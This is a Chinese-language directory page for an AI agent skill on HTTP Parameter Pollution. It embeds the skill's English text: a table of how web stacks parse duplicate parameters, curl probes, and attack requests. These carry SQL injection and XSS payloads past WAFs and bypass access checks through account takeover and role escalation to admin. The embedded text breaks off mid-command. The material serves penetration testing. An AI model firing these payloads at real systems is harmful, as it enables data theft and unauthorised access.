hpp
它能做什么
这项技能说明重复的请求参数如何被防火墙、服务器和应用以不同方式读取。适合检查这些差异是否会让攻击或访问检查绕过的安全测试人员。
适用场景
- ✓当防火墙和应用可能以不同方式读取重复的 URL 或表单参数时。
- ✓当登录或访问检查使用了一个可能被重复的参数时。
- ✓当你想测试安全过滤器能否通过重复的值被绕过时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/hpp/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,在我的应用中发送重复的 id 参数,是否会改变访问的账户?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体发送重复参数,并比较每一层使用的值,寻找过滤器所检查的内容与应用实际执行的内容之间的差距。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
HTTP Parameter Pollution (HPP)
Two layers (proxy/WAF, framework, app code) parse the same duplicate parameter differently. The WAF inspects one value, the app reads another — payload slips through. Or the framework picks one value for the auth check and a different one for the action — ACL bypass. Standalone severity is usually Low/Medium; chained into SQLi / SSRF / auth bypass it is High/Critical.
1. Parser precedence table
When ?id=1&id=2 (or duplicated body params) is received:
| Stack | request.GET['id'] / equivalent |
getParameterValues / list view |
|---|---|---|
PHP ($_GET) |
last wins (2) |
$_GET['id[]'] only; otherwise the dup is dropped |
ASP.NET (Request.QueryString["id"]) |
comma-concatenated ("1,2") |
GetValues returns both |
| ASP Classic | comma-concatenated | — |
Java Servlet (getParameter) |
first (1) |
getParameterValues returns both |
Java Spring @RequestParam String |
first | List<String> binds both |
Node.js qs (Express default) |
array (["1","2"]) |
n/a |
Node.js querystring (legacy) |
array | n/a |
Python Flask request.args.get |
first | getlist returns both |
Python Django request.GET['id'] |
last | getlist returns both |
Python urllib.parse.parse_qs |
list (["1","2"]) |
— |
| Ruby on Rails | last | params[:id] is the last; arrays via id[]= |
Go net/http r.URL.Query().Get |
first | ["id"] returns all |
Perl CGI param("id") |
first in scalar, list in list context | — |
nginx $arg_id |
first | — |
Apache mod_rewrite %{QUERY_STRING} |
raw — passes both | — |
| AWS API Gateway → Lambda proxy | last in queryStringParameters, all in multiValueQueryStringParameters |
— |
| Cloudflare WAF | inspects all values for rule match (generally) | — |
| AWS WAF | inspects each occurrence | — |
| ModSecurity (CRS) | inspects each — but anomaly score per rule | — |
The exploitable pattern: WAF/proxy reads value A, app reads value B.
2. Detection
# Baseline
curl -s "http://<TARGET>/api?id=1" -o /dev/null -w 'HTTP %{http_code} %{size_download}B\n'
# Duplicate param — same key
curl -s "http://<TARGET>/api?id=1&id=2" -o resp.dup -w 'HTTP %{http_code} %{size_download}B\n'
cat resp.dup | head -c 300
# Bracket form (PHP arrays)
curl -s "http://<TARGET>/api?id[]=1&id[]=2" -o resp.arr -w 'HTTP %{http_code} %{size_download}B\n'
# Whitespace / separator variants
curl -s "http://<TARGET>/api?id=1;id=2" # semicolon separator (PHP/Java differ)
curl -s "http://<TARGET>/api?id=1&id =2" # space-before-=
curl -s --data-urlencode 'id=1' --data-urlencode 'id=2' "http://<TARGET>/api" # body dup
Reflection check — does the response echo 1, 2, 1,2, or ["1","2"]? That literally fingerprints the stack.
for pair in 'id=1&id=2' 'id=2&id=1' 'id=1;id=2' 'id[]=1&id[]=2'; do
echo "== $pair =="
curl -s "http://<TARGET>/echo?$pair"
echo
done
3. WAF bypass via duplicate parameters
The WAF inspects one occurrence; the app concatenates / picks the other.
# ASP.NET: WAF sees "1" on first occurrence, app gets "1,UNION SELECT ..." after concat
curl -G "http://<TARGET>/search" \
--data-urlencode "q=1" \
--data-urlencode "q=UNION SELECT user,password FROM users--"
# PHP last-wins: WAF blocks the obvious payload only if it inspects every value
curl -G "http://<TARGET>/search" \
--data-urlencode "q=harmless" \
--data-urlencode "q=<svg/onload=alert(1)>"
# Java first-wins, WAF inspects only the LAST occurrence (some appliances do)
curl -G "http://<TARGET>/cmd" \
--data-urlencode "host=' OR 1=1--" \
--data-urlencode "host=8.8.8.8"
Mixed source confusion — GET vs POST:
# Some frameworks merge GET+POST into one params dict; precedence differs from WAF inspection
curl -X POST "http://<TARGET>/api?role=user" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'role=admin'
4. Server-side HPP — auth / ACL bypass
The auth layer evaluates one value; the controller acts on another.
# Pattern: filter reads first, action reads last
curl "http://<TARGET>/transfer?account=mine&account=victim&amount=100"
# Filter: account==mine → permits. Controller: last wins → operates on victim.
# Role check vs role assignment
curl -X POST "http://<TARGET>/users/create" \
-d 'role=user&username=x&role=admin'
# Tenant scoping
curl "http://<TARGET>/api/orders?tenant_
常见问题
它比较了哪些网页框架?
它包含一张表,说明 PHP、ASP.NET、Java、Node.js、Python 和 Ruby 如何从重复参数中选取值。
这种问题单独看通常是严重漏洞吗?
该技能指出,单独来看通常是低或中等风险,但与其他攻击串联时会更严重。
它只适用于 URL 吗?
不是。它也涵盖表单请求体中的重复参数。
详情
作者的原始描述
HTTP Parameter Pollution — parser discrepancies between proxy/server/app, WAF bypass, auth/ACL bypass, injection delivery.
热度
- GitHub 星标
- 6.5k
- 排名
- #14065
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …